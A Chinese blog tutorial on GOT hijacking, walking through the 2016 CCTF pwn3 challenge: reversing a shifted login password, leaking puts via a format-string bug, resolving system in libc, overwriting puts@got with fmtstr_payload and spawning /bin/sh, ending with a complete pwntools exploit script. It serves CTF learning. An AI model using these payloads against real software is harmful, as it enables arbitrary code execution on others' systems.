好好说话之hijack GOT

这种方法的原理其实和栈溢出很相似,基本流程都是泄露libc,查找system函数,写/bin/sh字符串,所以你看过我以前的博客,相信理解这个原理以及例题会很容易,一起加油,祝我们早日成为大佬😋

编写不易,如果能够帮助到你,希望能够点赞收藏加关注哦Thanks♪(・ω・)ノ

原理

现在的C程序中,libc的函数是通过GOT表来实现跳转的。在没有开启RELRO保护的前提下,每个libc的函数对应的GOT表项是可以被修改的。因此修改某个libc函数的GOT表内容为另一个libc函数的地址来实现对程序的控制。比如我们前面在好好说话之ret2libc3就利用这种方式找到了system函数

假设我们将函数A的地址覆盖为函数B的地址,那么这一攻击技巧可以分为以下步骤

  • 确定函数A的GOT表地址
    • 主要利用函数A一般在程序中已有,所以可以采用简单的寻找地址的方法来找
  • 确定函数B的内存地址
    • 需要想办法泄露对应函数B的地址
  • 将函数B的内存写入到函数A的GOT表地址处
    • 需要利用函数的漏洞来触发
      • 写入函数:write函数
      • ROP
        • pop eax; ret; # printf@got -> eax
        • pop ebx; ret; # (addr_offset = system_addr - printf_addr) -> ebx
        • add [eax] ebx; ret; # [printf@got] = [printf@got] + addr_offset
      • 格式化字符串任意地址写

例题

2016-CCTF-pwn3

检查一下保护

在这里插入图片描述

可以看到是个32位程序,只开启了NX保护,一般默认ASLR保护是开启的

运行一下程序:

在这里插入图片描述这是一个类似ftp的程序,上来会有一个登录,我输入了hollk会显示一个who you are?证明输入的密码不正确,这就很有意思了,我们前面做的例题都是可以直接执行功能的,因为这道题没有给出源码,所以需要使用IDA查看一下。应该可以在伪代码中找到登录的密码!

IDA分析程序

在这里插入图片描述

这是main函数,起始的ask_username函数和ask_password函数应该就是检查登录的函数,一会进去看一下,下面有一个循环嵌套,应该是循环等待输入的,v3变量接收get_command函数的返回值,应该是登录之后的操作,不同的操作对应着不同的返回值。下面的几个判断条件应该是ida解析的时候出现问题了,应该都没有“!”,习惯就好,毕竟这是软件不是人。。。。。可以看到当v3 = 2时执行put_file函数,v3 = 3时执行show_dir函数,v3 = 1时执行get_file函数

先看一下登录检查吧:

在这里插入图片描述

可以看到右面ask_password函数检验正确的密码应该是“sysbdmin”,但是在左面ask_username函数就很调皮,它将我们输入的字符串按位向后移动了一位,也就是说我们正常输入“abc”,ask_username函数就会将我们输入的“abc”变成“bcd”。所以只要我们将“sysbdmin”每个字母往前移一个变成“rxraclhm”,经过ask_username函数修改之后就变成正确的密码了😋

接下来看一下登录成功之后都有哪些操作:

在这里插入图片描述可以看到有三个操作分别是“get”、“put”、“dir”,其他字符,分别对应返回值为1、2、3、4,也就是说我们登录进去之后输入“get”就会执行get_file函数,输入“put”就会执行put_file函数,输入“dir”就会执行show_dir函数,输入任何其他的字符都会退出程序,分别看一些执行的几个函数:

在这里插入图片描述
put_file函数

这个函数会让我们输入两次,首先第一次会让我们输入一个要上传的文件名,第二次会让我们输入该文件的文件内容。因为外面是一个循环,所以可以多次输入不同的文件名及文件内容

show_dir函数

这个函数会将我们输入的文件名放在变量s当中,并且通过puts函数打印出来

get_file函数

这个函数会有一次输入,让我们选择要打印的文件,并且打印出我们输入的文件内容,并且能够在最后看到很明显的格式化字符串漏洞

思路

确定格式化字符串偏移

这三个函数本身除了get_file中一点小瑕疵外都没有什么问题,但是我们把他们组合起来就有意思了。首先我们需要泄露出一个函数的真实地址,为什么泄露呢?因为程序本身并不存在system函数,我们需要通过泄露出来的函数地址在libc中寻找system函数的地址,当然这个过程就交给libcsearch了,如果这个地方不熟可以看我之前写过的好好说话之ret2libc3

那么提到泄露首选的就是get_file中的格式化字符串漏洞了,我们已经在好好说话之格式化字符串漏洞利用利用部分讲过如何泄露任意地址内容了。首先我们在ida中找一下get_file函数中printf函数的地址:

在这里插入图片描述找到printf函数的地址了,接下来打开GDB,我们在0x0804889E处下断点

在这里插入图片描述

下完断点之后我们还需要做一些工作才能够实现效果:首先输入登录密码进入,输入”put“调用put_file函数执行录入功能,首先输入文件名“hollk”(我自己的名字,你愿意输入啥都行),接着输入我们的测试字符串“AAAA%p%p%p%p%p%p%p%p%p%p%p%p”,然后输入“get“调用get_file函数执行打印功能,输入”hollk“也就是我们刚才创建的文件名,回车之后程序就会停在printf函数处,因为是32位程序,所以直接给出栈的情况:

在这里插入图片描述接着我们输入c,让程序继续执行打印:

在这里插入图片描述我们数一下,输入的字符串是第7个参数

泄露puts函数地址

我们知道了输入的字符串举例格式化字符串的偏移为7,剩下的只要知道puts@got地址就可以了,这很好办,交给pwntools中的elf模块就可以了,所以构建的payload如下:

payload = '%8$s' + p32(puts_got)

我们将%s放在第7位,puts@got放在第8位,这样%8$s就会把puts函数的真实地址打印出来了。为什么要这样布置呢,其实是为了方便接收打印出来的字符串。这样布置后puts函数的真实地址会在前4个字节打出来,所以只需要接收前四个就可以了。当然你也可以选择payload = p32(puts_got) + '%7$s'着这种方式,不过打印出来的内容需要从第5个字节开始接收

这样一来我们就可以得到puts函数的真实地址了:

puts_addr = u32(sh.recv()[:4]) 

找system函数地址

博主本以为这部分工作交给libcsearch就可以了,就像这样:

ibc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')

但是piapia打脸,libcsearch提供的两个库都不是正确的:

在这里插入图片描述
泄露puts函数地址的时候,输出的puts_addr = 0xf7da6c10,因为libcsearch找到的不正确,所以去libc database search里找了一下:

在这里插入图片描述发现果然不对,正确的库应该是libc6_2.27,但是libcsearch提供的是libc6_2.8的两个库。接着发现题目的文件夹里面有自带的libc.so的库,可能是我眼瞎了╮(╯▽╰)╭,于是又尝试了挂这个库:

libc=ELF('./libc.so')
libc.address = puts_addr - libc.symbols['puts']
sys_addr=libc.symbols['system']

在这里插入图片描述结果依然不对,只能用最后的方法了,使用ldd命令列出这道题的动态库依赖关系,看一看它到底用的什么库!!!

在这里插入图片描述
可以看到真正用到的是”/lib/i386-linux-gnu/libc.so.6“这个库,所以把这个库载入进来就可以了:

libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr - libc.symbols['puts']
sys_addr=libc.symbols['system']

后来经过yichen师傅的指点,是由于我使用的Ubuntu虚拟机版本的问题导致的这种情况。我的Ubuntu虚拟机是18.04版本的,yichen师傅的是16.04版本,16.04版本能够直接挂载这道题自带的libc.so,并且能够顺利拿shell。但是我这个版本的系统加载动态链接库的时候可能和16.04版本的不一样

覆盖puts函数

可能你会有这样的疑问,这个程序中有那么多函数,为什么要覆盖puts函数呢?其实我们选取puts函数也是根据程序来的。我们之前已经用过了puts_file函数和get_file函数,但是还没用上show_dir函数呢?当然,使用show_dir函数并不是雨露均沾的原因😂

在这里插入图片描述

回顾一下show_dir函数,这个函数会将我们输入的文件名存放在变量s中,最后会作为puts函数的参数打印出来。那么如果将puts函数替换成system函数,并且我们创建一个叫”/bin/sh“的文件名,那么原本应该执行的是puts(s),但实际上执行的却是system(‘/bin/sh’),前期都是准备工作,拿shell才是终极目的!!!

那么覆盖的过程依然利用格式化字符串进行覆盖,这里介绍一下pwntools中的一个函数fmtstr_payload在这里插入图片描述

这个函数主要的用途就是利用格式化字符串漏洞覆盖某处地址,所以我们的覆盖payload就可以这样写:

payload = fmtstr_payload(7, {puts_got: sys_addr})
  • 7:距离格式化字符串的偏移
  • puts_got:被覆盖的地址
  • sys_addr:覆盖的地址

覆盖的过程还是一样的:

输入密码 --> 输入put创建文件 --> 输入文件名’/bin/sh;’ --> 输入文件内容(覆盖的payload)–> 输入get打印文件内容 --> 输入要打印的文件名‘/bin/sh;’执行覆盖

为什么/bin/sh后面会有一个分号?

因为system函数调用的时候是这样的system('/bin/sh;'),所以为了能够执行成功,所以加了一个分号

执行dir拿shell

在覆盖之后紧接着就可以输入dir调用show_dir函数,原本的puts(’/bin/sh;’)就会转而执行system(’/bin/sh;’),然后就可以拿shell了!!!

EXP

from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./pwn3')
pwn3 = ELF('./pwn3')
sh.recvuntil('Name (ftp.hacker.server:Rainism):')
#登录密码:rxraclhm
sh.sendline('rxraclhm')
#通过puts函数把部署好的泄露任意地址的payload写进去
puts_got = pwn3.got['puts']
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
sh.sendline('hollk')
sh.recvuntil('then, enter the content:')
payload='%8$s' + p32(puts_got)
sh.sendline(payload)
#通过get泄露puts函数地址
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('hollk')
puts_addr = u32(sh.recv()[:4])
#从库中找到system函数地址
libc = ELF ('/lib/i386-linux-gnu/libc.so.6')
libc.address = puts_addr - libc.symbols['puts']
sys_addr=libc.symbols['system']
#将第七个参数的puts函数地址改成system函数地址
payload = fmtstr_payload(7, {puts_got: sys_addr})
sh.sendline('put')
sh.recvuntil('please enter the name of the file you want to upload:')
#在运行show_dir时将puts(“/bin/sh;”)变成system("/bin/sh;"),并成功获取shell
sh.sendline('/bin/sh;')
sh.recvuntil('then, enter the content:')
sh.sendline(payload)
#通过get打印‘/bin/sh;’文件,执行system('/bin/sh;')
sh.recvuntil('ftp>')
sh.sendline('get')
sh.recvuntil('enter the file name you want to get:')
sh.sendline('/bin/sh;')
#通过dir来拿到shell
sh.sendline('dir')
sh.interactive()

执行结果如下:

在这里插入图片描述

在这里插入图片描述

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

hollk

要不赏点?

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值